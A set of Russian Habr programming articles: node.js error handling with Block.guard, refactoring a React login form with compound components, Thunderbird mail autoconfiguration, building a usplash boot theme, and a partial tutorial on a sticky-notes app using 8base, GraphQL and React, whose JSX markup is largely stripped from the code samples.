Основной момент, который нужно иметь в виду, это то, что любое исключение, брошенное этим кодом или функцией process(), будет переправлено в обработчик ошибок (в данном случае, в функцию next). Для того, чтобы привязать коллбэки к блоку, они должны быть обёрнуты с помощью Block.guard(originalFunction). Это позволит запомнить активный блок на момент вызова Block.guard(), и затем восстановить его в качестве контекста перед вызовом самой функции originalFunction().
Рассмотрим еще один пример явного использования блока в коллбэках. В этом случае мы делаем HTTP-запрос, накапливаем текст ответа, вызываем callback, передавая в него созданный CouchResponse (который производит парсинг ответа и другие вещи, которые могут кинуть исключение).
```
request: function(options, callback) {
var req=http.request(options, function(res) {
var text='';
res.setEncoding('utf8');
res.on('data', function(chunk) {
text+=chunk;
});
res.on('end', Block.guard(function() {
callback(new CouchResponse(res, text));
}));
res.on('error', Block.errorHandler());
});
req.on('error', Block.errorHandler());
req.end();
}
```
Здесь все еще есть несколько мест, где мы могли бы возникнуть неожиданные исключения, роняющие весь процесс:
* Непосредственно в коллбэке function(res).
* В коллбэке 'data'.
Я могла бы их тоже завернуть с помощью Block.guard, но считаю это лишним. К тому же я на 100% уверена, что ошибка в этом случае критична, и должна быть покрыта юнит-тестами. Обработчик 'end', однако, делает кое-что такое, что я не могу увидеть немедленно (и мне известно, что оно содержит вызов JSON.parse), так что я предпочитаю защитить его с помощью guard. Наконец, я использую стандартный errorHandler() блока, чтобы отлавливать события ошибок запроса и ответа. Этот простой шаблон централизованной обработки ошибок делает довольно понятным, куда эти ошибки идут, и обрабатывать их на любом уровне, где это имеет смысл. Вы можете использовать вложенные вызовы Block.begin() (аналог `try{try{}catch{}}catch{}`). Это полезно в коде фреймворков, который должен делать какую-то работу в рамках блока, созданного чужим кодом.
*PS: У автора встречается реализация Future и примеры с их использованием. Я не стал переводить всё, что касается Future, и адаптировал примеры под использование классических коллбэков.*
*Рекомендую ознакомиться с оригинальным текстом целиком, т.к. там перечислено целых 10 рекомендаций для написания пуленепробиваемого кода на node.js.*
*Класс Block я оформил в виде [github-репозитория](https://github.com/AlexeyKupershtokh/control-block) и [npm-модуля](http://search.npmjs.org/#/control-block) (npm install control-block).* | https://habr.com/ru/post/147233/ | null | ru | null |
# Улучшаем качество кода React-приложения с помощью Compound Components
Я люблю сталкиваться с трудностями. Но с такими, которые можно решить, подумать над интересным решением, подобрать технологию. Люблю быть в потоке, а после решения чувствую себя настоящим профессионалом.
Но есть кое-что, из-за чего я не люблю программировать. Как ни странно, это тоже трудности, только другого рода. Например, когда, чтобы пофиксить баг, приходится разбираться с легаси-компонентом, который написан на классах на 300 строк кода. Разбираясь уже второй час, ловлю себя на мысли, что уже 10 минут просто смотрю в экран, а в голове «из-за угла» выглядывает мысль «Псс, парень, программирование — это не твое». Такие задачи не вызывают удовлетворения.
Если у вас есть компоненты с кучей условий, которые сложно читать, ревьюить и понимать, что там происходит, то эта статья для вас. Здесь я поделюсь подходом, который поможет уменьшить большие и страшные React-компоненты.
**Примечание**. Весь код, приведенный ниже, условный. В нём нет useEffect’ов, обработчиков, и прочего.
### История жизни одной формы авторизации
Всё начиналось как обычно: стандартная форма авторизации, заголовок, два инпута с логином и паролем, и кнопка submit.
```
import React from ‘react’;
import { Form, Input, Button, Title } from ‘our-design-system’;
function AuthForm() {
return (
Войти в интернет-банк
Войти
);
}
export default AuthForm;
```
**Новые условия**. Внезапно мы узнаем, что вообще-то нужно ещё авторизоваться по номеру карты или счёта. Запрос идёт в тоже место, заголовок тот же, кнопочка та же, но только вот нужно добавить «всего» 2 поля. Недолго думая, делаем что-то подобное.
```
function AuthForm({ authType, theme }) {
const [accountType, setAccountType] = useState(‘account’);
const changeAccountType = () => {setAccountType(‘card’)};
return (
Войти в интернет-банк
{ authType === “login”
? (
)
: (
{
accountType === ‘card’
?
:
}
}
{ authType === “account” &&
Войти по { accountTypes [accountType] } }
Войти
);
}
```
Да, прямо в форму добавляем новый пропс (`authType`), который определяет тип аутентификации по логину-паролю или номеру карты/счёта. Внутри рендера делаем тернарник. Мы выбираем: будем рендерить поле логина-пароля или номера карты/счёта.
Внизу ещё есть кнопка, которая как раз переключает эти инпуты (она не нужна, если входим по логину).
Итого у нас появилось 2 новых условия в нашем компоненте.
**Ещё новые условия**. Дальше оказывается, что наша форма должна отображаться в мобильном приложении — пользователи приложения должны аутентифицироваться через нашу форму. В этом нет ничего особенного — просто не должен отображаться заголовок.
Сказано-сделано — добавляем еще один пропс `isWebview`, в котором мы проверяем: отображаем форму через вебвью или нет.
```
function AuthForm({ authType, theme, isWebview, }) {
const [accountType, setAccountType] = useState(‘account’);
const changeAccountType = () => {setAccountType(‘card’)};
return (
{ !isWebview && Войти в интернет-банк
{
{ authType === “login”
? (
)
: (
{
accountType === ‘card’
?
:
}
}
{ authType === “account” &&
Войти по { accountTypes [accountType] } }
Войти
);
}
```
Также добавляем условие «Не показывать заголовок, если мы в мобильном приложении».
**Редизайн**. Проходит время и «случается» редизайн мобильного приложения. Естественно, нам тоже нужно обновляться. Это довольно простая доработка — меняем поля ввода карты или счета на одно поле. Соответственно, мы убираем кнопку, которая меняет эти поля местами при нажатии.
Замечательно, меньше полей — меньше проблем, меньше работы, верно?
Почти. Нюанс в том, что пользователи мобильных приложений не побегут дружно обновлять мобильное приложение: кто-то сидит через старую версию, кто-то через новую. Мы-то отображаем через вебвью — у нас всего одна версия, нам приходится поддерживать два разных варианта этой формы.
Что мы делаем? Правильно — добавляем еще один пропс на проверку дизайна (`isNewDesignWebview`), и ещё один вложенный тернарник.
```
function AuthForm({ authType, theme, isWebview, isNewDesignWebview }) {
const [accountType, setAccountType] = useState(‘account’);
const changeAccountType = () => {setAccountType(‘card’)};
return (
{ !isWebview && Войти в интернет-банк
{
isNewDesignWebview
?
: authType === ‘’login’’
? (
)
: (
{
accountType === ‘card’
?
:
}
}
{
authType === “account” && !isNewDesignWebview &&
Войти по { accountTypes [accountType] }
}
Войти
);
}
```
Естественно, внизу ещё одно условие, что для нового дизайна кнопка нам не нужна.
**Итого**. У нас есть форма: без логики, просто рендер, 3 условных пропса, по которым мы определяем, что конкретно будем рендерить, в тех или иных случаях, и 7 (новых) условий.
Кажется, что всё очень-очень плохо. Мы кричим в монитор, что не хотим это всё поддерживать, и идём в интернет, чтобы найти решение проблемы.
Но никуда идти не надо, у меня для вас уже есть одно решение.
### Compound components
Небольшая вводная. Наверняка вы знаете, как выглядят селекты () в HTML.
```
Schrute
Scott
Halpert
Beesly
```
Это какая-то сущность, которая наполняется опшенами (). При этом опшены не могут существовать вне селекта. По отдельности селекты и опшены бесполезны, а вместе работают как составные компоненты, создавая единую логику.
> Compound components использует подобную систему: нельзя использовать элементы Compound components вне основного большого компонента. В этом подходе мы объединяем несколько компонентов общей сущностью и общим состоянием. Отдельно от этой сущности их использовать нельзя — они единое целое.
>
>
Немного забегая вперёд, покажу как выглядит наша форма аутентификации, если мы применим к ней этот подход.
```
export default function LoginAuth( ) {
return (
)
}
```
У нас есть форма с элементами. Вне формы элементы не могут существовать. В самой форме зашита логика, которая передается каждому элементу.
**Примечание**. Может смутить то, что мы вызываем наши элементы через точку, но это такой синтаксис.
Подход Compound components похож на методологию BEM.
* У нас есть блок — форма аутентификации;
* есть элементы — заголовок, инпуты;
* а модификаторы — это пропсы;
* у самих элементов тоже могут быть какие-то пропсы как модификаторы.
Интересно то, что мы можем использовать элементы в разных ситуациях.
### Переписываем форму с помощью Compound components
Давайте перепишем наш компонент и на его примере покажу как Compound components работает.
```
import {
CardAccount, AuthCardInput, LoginInput, PasswordInput, SubmitButton, AuthTittle
} from ‘./components’;
const AuthFormContext = React,createContext(undefined);
function AuthForm(props) {
const { theme } = props;
const memoizedContextValue = React.useMemo{
( ) => ({ theme }),
[theme],
);
return (
{ props.children }
);
}
export function useAuthContext( ) {
const context = React.useContext(AuthFormContext);
if ( !context) {
throw new Error(‘This component must be used within a component.’);
}
return context;
}
AuthForm.AuthTitle = AuthTitle;
AuthForm.LoginInput = LoginInput;
AuthForm.PasswordInput = PasswordInput;
AuthForm.CardAccount = CardAccount;
AuthForm.AuthCardInput = AuthCardInput;
AuthForm.SubmitButton = SubmitButton;
```
Разберем по частям.
Для общей логики мы используем контекст, и можем передавать актуальные данные в форму на любой уровень вложенности. Мы создаем контекст, но его не экспортим.
```
const AuthFormContext = React,createContext(undefined);
```
Здесь мы создаем наши данные для всех элементов и мемоизируем их. Естественно, сами элементы тоже нужно обернуть будет в мемо, чтобы мемоизация работала.
```
function AuthForm(props) {
const { theme } = props;
const memoizedContextValue = React.useMemo{
( ) => ({ theme }),
[theme],
);
```
Пробрасываем контекст в нашу форму.
```
return (
{ props.children }
);
```
Здесь защита от дурака.
```
if ( !context) {
throw new Error(‘This component must be used within a component.’);
}
```
С помощью неё мы не сможем использовать наши элементы вне формы (да и не надо). В каждом элементе зашита какая-то бизнес-логика, которую мы не хотим выдирать из этого компонента.
> Если мы хотим переиспользовать отдельно внутренние элементы нашего сложного компонента (поля, кнопки и т.п.), то Compound Components нам не подходит.
>
>
В этой же «защите» создаём кастомный хук, в котором вызываем наш контекст и проверяем его наличие. Если контекста нет — выбрасываем ошибку. Это значит, что кто-то попытался использовать элемент вне формы.
Последнее — записываем в статические свойства все наши элементы.
```
AuthForm.AuthTitle = AuthTitle;
AuthForm.LoginInput = LoginInput;
AuthForm.PasswordInput = PasswordInput;
AuthForm.CardAccount = CardAccount;
AuthForm.AuthCardInput = AuthCardInput;
AuthForm.SubmitButton = SubmitButton;
```
### Как это используется?
Вот наша форма авторизации по логину и паролю с заголовком.
```
```
Вот форма авторизации уже по карте или счету.
```
```
Это форма для пользователей мобильных приложений со старым дизайном.
```
```
А это форма для пользователей с новым дизайном.
```
```
Мы вынесли логику условий из компонента (рендера) на уровень выше, туда, где мы используем этот компонент. Мне кажется такой вариант нагляднее: нам не нужно лезть в компонент, чтобы понять какие нам нужно пропсы прокинуть в компонент, чтобы отобразился заголовок и т.д. Мы всё выбираем сами.
**Сравним рендеры.**Оценим масштаб: как рендер выглядел раньше с множеством разных условий, и как он выглядит сейчас.
Как используется обычный компонент:
Его рендер:
```
return (
{ !isWebview && Войти в интернет-банк }
{
isNewDesignWebview
?
: authType === "login"
? (
)
: (
{
accountType === 'card'
?
:
}
)
}
{
authType === "account" && !isNewDesignWebview &&
Войти по { accountTypes[accountType] }
}
Войти
);
```
Теперь как используется Compound Component:
```
```
И его рендер:
```
return (
{ props.children }
);
```
А это вынесенные элементы (здесь только те элементы, что используются в примере, но в других примерно тоже самое, потому что в нашей форме нет никакой бизнес логики):
```
export default function AuthCardInput() {
const { theme } = useAuthContext();
return (
)
}
export default function SubmitButton() {
const { theme, submitForm } = useAuthContext();
return (
Войти
)
}
```
### Когда стоит использовать Compound components?
* Когда вы хотите объединить несколько компонентов (элементов) в одну сущность. Это могут быть не простые селекты с опшенами, а, например, компонент с табуляцией.
* Когда мы видим, что рендер становится перегружен из-за множества пропсов. Это как раз ситуация, как у нас с формой, в которой много пропсов. При этом в самом рендере много условий отображения компонента.
---
Статья подготовлена на основе выступления на online-конференции HolyJS. Запись выступления [доступна](https://vk.com/video-215425037_456239049) в группе [Alfa Digital в ВК](https://vk.com/digital.alfabank), там также есть записи докладов с других конференций и митапов. Также подписывайтесь на Телеграм-канал[Alfa Digital](https://t.me/alfadigital_jobs) — там мы постим новости, опросы, видео с митапов, иногда шутим.
Рекомендуем почитать.
* [Неподатливые soft-skills: почему нам всё ещё нужен эмоциональный интеллект](https://habr.com/ru/company/alfa/blog/689562/)
* [Data Science Meet Up #2: LTV, Uplift, совершенство и Reject/Inference](https://habr.com/ru/company/alfa/news/t/679928/)
* [Как снимать логи с устройств на Android и iOS: разбираемся с инструментами](https://habr.com/ru/company/redmadrobot/blog/687184/)
* [Как мы переходили на React-router v6: подводные камни и альтернативы](https://habr.com/ru/company/alfa/blog/686954/)
* [Как и зачем мы начали искать бизнес-инсайты в отзывах клиентов с помощью машинного обучения](https://habr.com/ru/company/alfa/blog/684774/) | https://habr.com/ru/post/691976/ | null | ru | null |
# Автоматизация создания аккаунтов в Thunderbird v3
В линейке Thunderbird 3 появилась полезная возможность «подхватывать» настройки доступа к почтовому серверу. Но для этого необходимо немного «почесаться».
Есть несколько вариантов как это сделать:
0) Ленивый. Добавить для домена записи pop3.mymaildomain.com, imap.mymaildomain.com, smtp.mymaildomain.com и использовать стандартные порты для доступа.
1) Добавить в installdir/isp/ на конкретном компьютере файлик emailaddressdomain.xml с описанием настроек доступа (формат смотрите в ссылках)
2) Наилучший вариант. Добавить запись autoconfig.mymaildomain.com
Создать папку mail в корне DocumentRoot веб-сервера.
Т.о. чтобы был доступен файл: [autoconfig.mymaildomain.com/mail/config-v1.1.xml](http://autoconfig.mymaildomain.com/mail/config-v1.1.xml)
Файл должен быть примерно такого вида (если используется только pop или imap — ненужное лучше убрать):
```
xml version="1.0" encoding="UTF-8"?
%EMAILDOMAIN%
%EMAILADDRESS%
%EMAILADDRESS%
pop3.%EMAILDOMAIN%
110
plain
%EMAILADDRESS%
password-encrypted
false
true
14
imap.%EMAILDOMAIN%
143
plain
%EMAILADDRESS%
password-encrypted
smtp.%EMAILDOMAIN%
25
plain
%EMAILADDRESS%
password-encrypted
true
false
```
Несколько пояснений:
useGlobalPreferredServer=false — спец., чтобы создавалась собственная запись в списке SMTP-серверов у почтового клиента.
displayName, displayShortName — не до конца понял, где Mozilla использует эти поля, но точно они отображаются в списке серверов SMTP.
PS. проверялось на Mozilla Thunderbird v3.1.5
PS2. помимо автоматизации настройки аккаунтов можно автоматизировать установку плагинов, как это сделать я написал [здесь](http://habrahabr.ru/blogs/sysadm/106322/#comment_3357469).
Ссылки:
[wiki.mozilla.org/Thunderbird](https://wiki.mozilla.org/Thunderbird):Autoconfiguration
[wiki.mozilla.org/Thunderbird](https://wiki.mozilla.org/Thunderbird):Autoconfiguration:ConfigFileFormat
**Upd.** Унифицировал xml-файл — т.о. при внедрении его вообще править не придется. | https://habr.com/ru/post/106666/ | null | ru | null |
# Создание собственной темы usplash
Как и обещал в [предыдущем топике](http://lavi.habrahabr.ru/blog/82655/), подробно описываю создание собственной темы usplash. Для начала нам понадобятся: GIMP и некоторые навыки работы в нем, а так же следующие пакеты:
gcc, libbogl-dev, libusplash-dev
Любая тема Usplash состоит минимум из трех компонент: фоновая картинка, тело прогресс-бара, фон прогресс-бара. С фоновой картинкой все понятно, это — основа, на которой будет все остальное. Тело прогресс-бара — картинка, которая по мере загрузки заменяет собой картинку-фон прогрессбара.
Итак, сначала сделаем себе фон. Я выбрал тот, который стоит у меня в качестве фона на рабочем столе. Определимся с размером нашего splash. Нужно выбрать наибольший из возможного — в моем случае 1024x768. Соответственно приводим размер фоновой картинки к этому размеру.
Теперь самое важное: необходимо создать и сохранить цветовую палитру вашего изображения. Все остальные изображения должны иметь ту же самую палитру.
*Специально помечу — Окна->Панели->Образцы цветов, далее уже в окне: Меню->Меню палитр->Импортировать палитру. Далее выбираем наше изображение*. [Скриншот](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg191.imageshack.us%2Fimg191%2F4807%2Fpals.jpg%22)
Палитра может содержать до 256 цветов.
Сохраняем изображение с именем usplash\_1024\_768.png. Создаем такие же изображения для других разрешений — (Я делал только 800x600); сохраняем так же в формате png и в той же палитре. Называем usplash\_800\_600.png.
Теперь самое время создать прогресс-бар. Создаем два рисунка (я делал 216x8 px) — приводим их к уже созданной палитре ([скриншот](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg18.imageshack.us%2Fimg18%2F7466%2Fsavezx.png%22)), сохраняем один — throbber\_fore.png, второй — throbber\_back.png (Передний и задний соответственно).
Далее немного программирования.
*Непосредственно исходники моей темы можно найти [тут](http://sites.google.com/site/vklavi/lavi-s-files)*
Остановлюсь на том, что действительно важно.
Начало описания структуры темы:
`struct usplash_theme usplash_theme_1024_768 = {
.version = THEME_VERSION,
.next = NULL,
.ratio = USPLASH_4_3,`
**.next** — указатель на следующую структуру. Чтобы сделать тему для других разрешений — копируем Структуры, указываем в указателях .next имя следующей структуры. Указатель в последней структуре должен указывать в NULL
**.ratio = USPLASH\_4\_3** — эта строчка задает соотношение сторон темы.
`/* Background and font */
.pixmap = &pixmap_usplash_1024_768,
/* Palette indexes */
.background = 0x0,
.progressbar_background = 0x0,
.progressbar_foreground = 0x200,
.text_background = 0x17,
.text_foreground = 0x32,
.text_success = 0x171,
.text_failure = 0x156,`
Тут все должно быть понятно: слева — элемент, справа — какого цвета он будет. Номера цветов соответствуют их номерам в вашей палитре (посмотреть можно в том же GIMP).
`/* Progress bar position and size in pixels */
.progressbar_x = 404, /* 1024/2 - 216/2 */
.progressbar_y = 524,
.progressbar_width = 216,
.progressbar_height = 8,`
Позиция и размеры прогресс-бара. Позиция индивидуальна для каждого из разрешений. Размеры должны соответствовать размерам картинок throbber\_fore и throbber\_back.
`/* Text box position and size in pixels */
.text_x = 322,
.text_y = 525,
.text_width = 380,
.text_height = 100,`
Описание положения зоны текстового вывода (сюда выводятся системные сообщения, если появляются во время загрузки).
Собственно с большего все. Далее все это дело нужно собрать (в архиве есть makefile), и, полученный файл usplash.so, и будет нашей темой. Далее — или пользуемся StartUp manager или
`# update-alternatives --config usplash.so`
Вот и все! Пользуйтесь :) | https://habr.com/ru/post/82661/ | null | ru | null |
# Создание приложения Sticky Notes с использованием 8base, GraphQL и React
Посмотреть демо версию программы [здесь](https://note-app.now.sh/).
Во все времена тайм менеджмент был связан для меня с огромной борьбой, запланированные задачи забыты, заметки потеряны, потому что они распределены по нескольким приложениям, сохраняющим заметки. Решение заключается вовсе не в приложении для персонализированных заметок, которое я предлагаю вам создать, хотя есть вероятность, что вы будете им пользоваться из-за времени, которое вы в него вложите.
Чтобы создать приложение для заметок, нам потребуется простой стек, практически не требующий бэкенд разработки, и приложение, которое можно будет легко развернуть. Исходя из этих требований, мы выберем стек для приложения. Он выглядит так:
**-React** - для фронтенд разработки. Это популярная библиотека для создания пользовательских интерфейсов, она может быть легко развернута на нескольких платформах, таких как Now и Netlify.
**-8base GraphQL** — слой базы данных для нашего приложения. Здесь мы будем хранить и читать запросы в нашем приложении. С 8base не нужно создавать и поддерживать бэкенд для приложения.
Я успешно создал простое приложение, используя эти инструменты. В этой статье мы рассмотрим процесс создания этого приложения и настройки бэкенда, работающего на платформе 8base.
Если вам неудобны скриншоты, вы всегда можете посмотреть [демо-приложение](https://note-app.now.sh). Заметки размещаются случайным образом на веб-странице их можно перетаскивать в разные места.
Чтобы следовать инструкциям, требуется базовое понимание [React](https://reactjs.org) и [Node.js](https://nodejs.org/en/). Перед началом работы убедитесь пожалуйста, что у вас установлены Node и [npm](https://www.npmjs.com/get-npm)/[yarn](https://yarnpkg.com/lang/en/docs/install/#mac-stable).
Также в проекте мы будем использовать [GraphQL](https://graphql.org) запросы, поэтому некоторое знакомство с этой технологией будет полезно.
Платформа [8base](https://www.8base.com) предлагает широкий выбор функций, помогающих разработчикам создавать приложения быстрее и проще. С 8base вы можете легко организовать бэкенд своего приложения без написания кода. Используя платформу 8base, вы можете создать свой бэкенд с помощью простого графического интерфейса, который позволяет выполнять такие действия как:
* Определять вашу схему данных: создать таблицы / отношения таблиц.
* Загружать файлы.
* Определять права доступа и роли авторизации.
* Управлять различными проектами, используя воркспейсы.
* Проектировать запросы с помощью API Explorer (на основе GraphQL).
В этом руководстве мы увидим, как использовать 8base для быстрой настройки серверной части и обработки данных с помощью GraphQL API. Наше фронтенд приложение будет построено с использованием React и будет взаимодействовать с сервером с помощью GraphQL.
Чтобы начать использовать 8base, выполните следующие действия:
1. **Создайте аккаунт** на 8base. Это бесплатно.
2. После завершения регистрации нажмите кнопку **Data Builder**, чтобы перейти на страницу [Data](https://app.8base.com/data/), и нажмите New Table, чтобы начать настройку бэкенда.
3. После загрузки новой таблицы вы попадете в схему и сможете начать определять поля. Давайте отметим пару вещей. Слева вы увидите *System Tables* и *Your Tables*.
Каждый новый воркспейс 8base автоматически поставляется с несколькими встроенными таблицами. Эти таблицы используются для таких вещей, как Файлы, Настройки и Разрешения, и все они доступны через API-интерфейс 8base GraphQL.
4. Идем дальше и **создаем таблицу** *Notes*, которая состоит из следующих полей:
**title**: тип поля *Text*. Здесь будет название заметки.
**text**: тип поля *Text*. Это поле будет содержать тело заметки.
Наша схема довольно проста и используется для достижения тех возможностей, которые мы пытаемся реализовать.
5. Затем **скопируйте URL-адрес** API эндпоинта (доступен слева внизу) — это основная линия связи между клиентской и серверной частью вашего приложения.
6. Наконец, для целей данного руководства мы по умолчанию **разрешим открытый доступ для Гостей**, так чтобы проверка подлинности была не обязательна. Чтобы разрешить гостевой доступ к новой таблице Notes, перейдите в Settings > Roles > Guest и установите соответствующие флажки в разделе Notes. Всем неавторизованным пользователям, которые получают доступ к вашей конечной точке API, по умолчанию предоставляется роль Гостя. Авторизация в этом руководстве не рассматривается. [Здесь](https://docs.8base.com/8base-console/authentication) можно подробнее ознакомиться с тем, как с ней работать.
Теперь, когда мы закончили настройку бэкенда с использованием 8base, начнем работу над фронтенд стороной приложения.
### Начинаем
Я создал стартовый проект для легкой настройки и уменьшения оверхеда, так чтобы статья в основном описывала начало работы с 8base и GraphQL. Скелет приложения уже настроен, в том числе стили и структура проекта. В ветке starter доступны следующие возможности:
1. Компонент формы заметки для создания заметки.
2. Компонент заметки, который отображает детали одной заметки.
3. Компонент списка заметок, отображающий список доступных заметок.
Выполните следующую команду, чтобы клонировать репозиторий:
```
git clone -b starter https://github.com/HackAfro/note-app.git
```
Откройте папку и установите зависимости проекта, выполнив следующую команду:
```
npm install
```
Запустите сервер приложений React, запустив npm start в терминале в корневой папке вашего проекта.
#### Подключение к бэкенду 8base с помощью GraphQL
Теперь, когда наше начальное фронтенд запущено и работает, следующим шагом является настройка клиента для взаимодействия с бэкендом 8base с использованием GraphQL. Полезная библиотека для помощи в соединении — [apollo-boost](https://www.npmjs.com/package/apollo-boost); она предоставляет клиент для подключения к бэкенду GraphQL с помощью URI. URI — это эндпоинт, предоставляемый 8base. Давайте обновим файл *index.js*, чтобы настроить ApolloClient.
```
import React from "react";
import ReactDOM from "react-dom";
import { ApolloProvider } from "react-apollo";
import ApolloClient from "apollo-boost";
import * as serviceWorker from "./serviceWorker";
import "./index.css";
import App from "./App";
const client = new ApolloClient({
uri: ""
});
ReactDOM.render(
,
document.getElementById("root")
);
serviceWorker.unregister();
```
ApolloClient принимает объект со свойством *uri* в качестве аргумента; при этом клиент дает нам доступ для получения, обновления и удаления данных с использованием предоставленного *uri*. Обязательно замените значение на фактическую конечную точку.
Затем мы оборачиваем приложение в ApolloProvider, который принимает проп client. ApolloProvider загружает схему таблицы 8base, которая дает вам доступ ко всем свойствам модели данных в вашем фронтенд коде.
#### Получение и отображение заметок
Чтобы получить заметки c бэкенда, мы напишем GraphQL запрос для получения заметок, хранящихся в 8base. Давайте начнем, обновив файл *App.js*.
Добавьте следующие импорты туда, где вы найдете комментарий TODO — 1:
```
import gql from "graphql-tag";
import { graphql } from "react-apollo";
```
Они будут полезны для создания GraphQL запросов и передачи пропсов в компонент App для получения заметок. Далее нам нужно добавить запрос для получения заметок с серверной части. Обновите *NOTE\_LIST\_QUERY*, чтобы он был похож на фрагмент ниже:
```
const NOTE_LIST_QUERY = gql`
query {
notesList {
items {
id
title
text
}
}
}
`;
```
Если вы не уверены в ваших запросах, вы всегда можете протестировать их в [8base API explorer](https://auth.8base.com/login?state=g6Fo2SBpQzdtSDdPX3B6Y1Y1QUFvVXp0R014dG56MVpWVzlHZaN0aWTZIG5ncC16aHpjSXE1TlJtVUVyQmVKdVpIQXo5aEdFVFZEo2NpZNkgcUdIWlZ1NUN4WTVrbGl2bTI4T1BMam9wdnNZcDBiYUQ&client=qGHZVu5CxY5klivm28OPLjopvsYp0baD&protocol=oauth2&response_type=token%20id_token&redirect_uri=https%3A%2F%2Fapp.8base.com%2Fauth%2Fcallback&scope=openid%20email%20profile&mode=login&nonce=qd2YmonhZsinueFl9Pa8.0RFp6hpKSXf&auth0Client=eyJuYW1lIjoiYXV0aDAuanMiLCJ2ZXJzaW9uIjoiOS4xMS4xIn0%3D). Давайте проверим приведенный выше запрос.
Если вы выполните этот запрос в своем проводнике, скорее всего вам вернется пустой массив, потому что вы не создали никаких заметок. Мы можем легко создавать заметки, используя панель инструментов 8base. Перейдите по ссылке **data** на боковой панели и следуйте инструкциям на скриншотах ниже:
Мы получим *id*, *title* и *text* из элементов notesList. Далее мы подготовим компонент *App* для использования заметок, получаемых из запроса. Наконец, мы будем использовать *graphql HOC* (Higher Order Component), чтобы связать запрос с компонентом *App*. Функция принимает строку запроса и параметры конфигурации.
// TODO — 3
```
export default graphql(NOTE_LIST_QUERY, {
props: (result) => {
const { data } = result;
const { loading, refetch } = data;
let notes = [];
if (data && data.notesList) notes = data.notesList.items;
return {
loading,
notes,
refetch,
};
},
})(App);
```
Замените существующую строку экспорта под комментарием TODO--3 фрагментом выше.
Функция *graphql* возвращает “enhancer” функцию, которая расширит любой переданный в нее компонент, возможностями GraphQL. Это соответствует паттерну компонентов высокого порядка, который также используется функцией *connect* в response-redux.
Используя функцию `graphql()`, мы можем обратится к эндпоинту GraphQL. В качестве первого параметра он принимает запрос (NOTE\_LIST\_QUERY), второй — config, возвращаемое значение — HOC, который должен выполняться с требуемым компонентом в качестве аргумента. Во фрагменте мы передаем значение свойства `data.noteList` новой переменной notes. Возвращая это значение, мы можем получить к нему доступ внутри компонента как `props.notes`, а состояние загрузки — как `props.loading`.
Метод *refetch* будет очень полезен, чтобы мы могли достичь чего-то близкого к обновлению в реальном времени. Мы будем вызывать функцию после каждой мутации, чтобы гарантировать, что данные в приложении всегда синхронизированы с бэкендом 8base.
Если вы перейдете на localhost:3000, вы увидите только что созданную заметку. Нам нужно иметь возможность создавать заметки, не посещая панель инструментов 8base, это означает переход на следующий уровень GraphQL…. Мутации!
#### Создание заметок
После завершения настроек для получения заметок с бэкенда следующим логическим шагом будет добавление возможности создавать заметки. Начальные файлы содержат компонент формы, и нам нужно обновить компонент, чтобы включить мутацию для сохранения созданных заметок на бэкенде 8base.
В предыдущем разделе мы выполняли [запрос](https://docs.8base.com/8base-console/graphql-api/queries) для получения заметок с бэкенда, в этом разделе мы будем выполнять [мутации](https://docs.8base.com/8base-console/graphql-api/mutations) для сохранения новых заметок, мутация имеет сходство с запросом, с той лишь разницей, что мутация вызывается всякий раз, когда есть необходимость изменить данные. После создания таблиц в 8base запросы и мутации для этой таблицы становятся легко доступными в API проводнике; поэтому мы всегда можем попасть туда, если сомневаемся в том, как мутация должна быть структурирована.
Давайте посмотрим, как выглядит мутация для создания заметок в API проводнике. Перейдите на панель инструментов 8base и нажмите на API Explorer на боковой панели.
В проводнике API нажмите на ссылку *mutation*, как показано выше. Это покажет все доступные мутации. Ищите то, что отвечает за создание заметок:
На скриншоте показано, что имя мутации — *noteCreate*, и она принимает один аргумент типа *NoteCreateInput*. *NoteCreateInput* — определяет тип тела запроса, необходимого для создания заметки.
Теперь, когда мы знаем, что от нас требуется, давайте приступим к реализации. Я позаботился о вас и создал форму для создания заметки, поэтому осталось добавить мутацию к компоненту с помощью функции *graphql*.
Откройте *src/components/note-form/index.js*, добавьте следующие импорты, где у вас есть комментарий TODO 1.:
```
import gql from "graphql-tag";
import { graphql } from "react-apollo";
```
Далее мы объявим мутацию, обновим переменную *NOTE\_MUTATION* и назначим ей новое значение, подобное приведенному ниже фрагменту:
```
const NOTE_MUTATION = gql`
mutation NoteCreate($data: NoteCreateInput!) {
noteCreate(data: $data) {
id
}
}
`;
```
Далее мы свяжем мутацию с компонентом с помощью функции *graphql*. Замените строку *export* в файле с фрагментом ниже:
```
export default graphql(NOTE_MUTATION, {
name: "noteCreate"
})(NoteForm);
```
Таким образом, *graphql* функция передает именованную функцию *noteCreate*, которая будет использоваться для выполнения мутации create. Давайте используем функцию *noteCreate* для создания заметки при отправке формы.
Перейдите к комментарию TODO 4 и обновите функцию *submit*, чтобы она была похожа на фрагмент ниже:
// TODO — 4
```
const submit = async note => {
const res = await noteCreate({ variables: { data: note } });
if (res.data.noteCreate.id) {
setNote({ title: "", text: "" });
refetch()
}
};
```
В приведенном выше фрагменте мы использовали функцию *noteCreate* для выполнения мутации *create* в таблице заметок. Аргумент, переданный функции, является объектом, содержащим *variables* и тело *data*.
Мы ждем, пока запрос будет завершен, затем проверяем его успешность, найдя id в теле ответа. Затем мы сбрасываем состояние note и refetch. Я упоминал функцию refetch ранее в этой статье, но позвольте мне обновить вашу память. Refetch заставляет ваш компонент повторять запрос, который вы определили в функции `graphql()`.
Теперь все готово к тестированию. Перейдите на localhost:3000, заполните форму и наслаждайтесь результатом.
#### Удаление заметок
Какая польза от любого приложения для заметок, если вы не можете удалить все свои заметки и сделать вид, что их никогда не было. Порядок действий для удаления заметки:
1. Пользователь нажимает на кнопку удаления.
2. Появляется окно подтверждения — это уменьшает количество злых пользователей, очень полезно.
3. Остается совершить поступок — удалить заметку.
Настройка для удаления заметок находится в файле *src/note-card/delete-button.js*. Откройте файл и добавьте следующие импорты в верхней части файла. В частности, ниже, где находится TODO 1:
```
import gql from 'graphql-tag';
import { graphql } from 'react-apollo';
```
Затем запишите мутацию удаления и присвойте ее переменной *DELETE\_MUTATION*. Это должно выглядеть примерно так, как показано ниже:
```
const DELETE_MUTATION = gql`
mutation DeleteNote($data: NoteDeleteInput!) {
noteDelete(data: $data) {
success
}
}
`;
```
Далее мы свяжем мутацию с компонентом с помощью *graphql* функции. Замените строку *export* в файле фрагментом ниже:
```
export default graphql(DELETE_MUTATION, {
name: 'deleteNote',
})(DeleteButton);
```
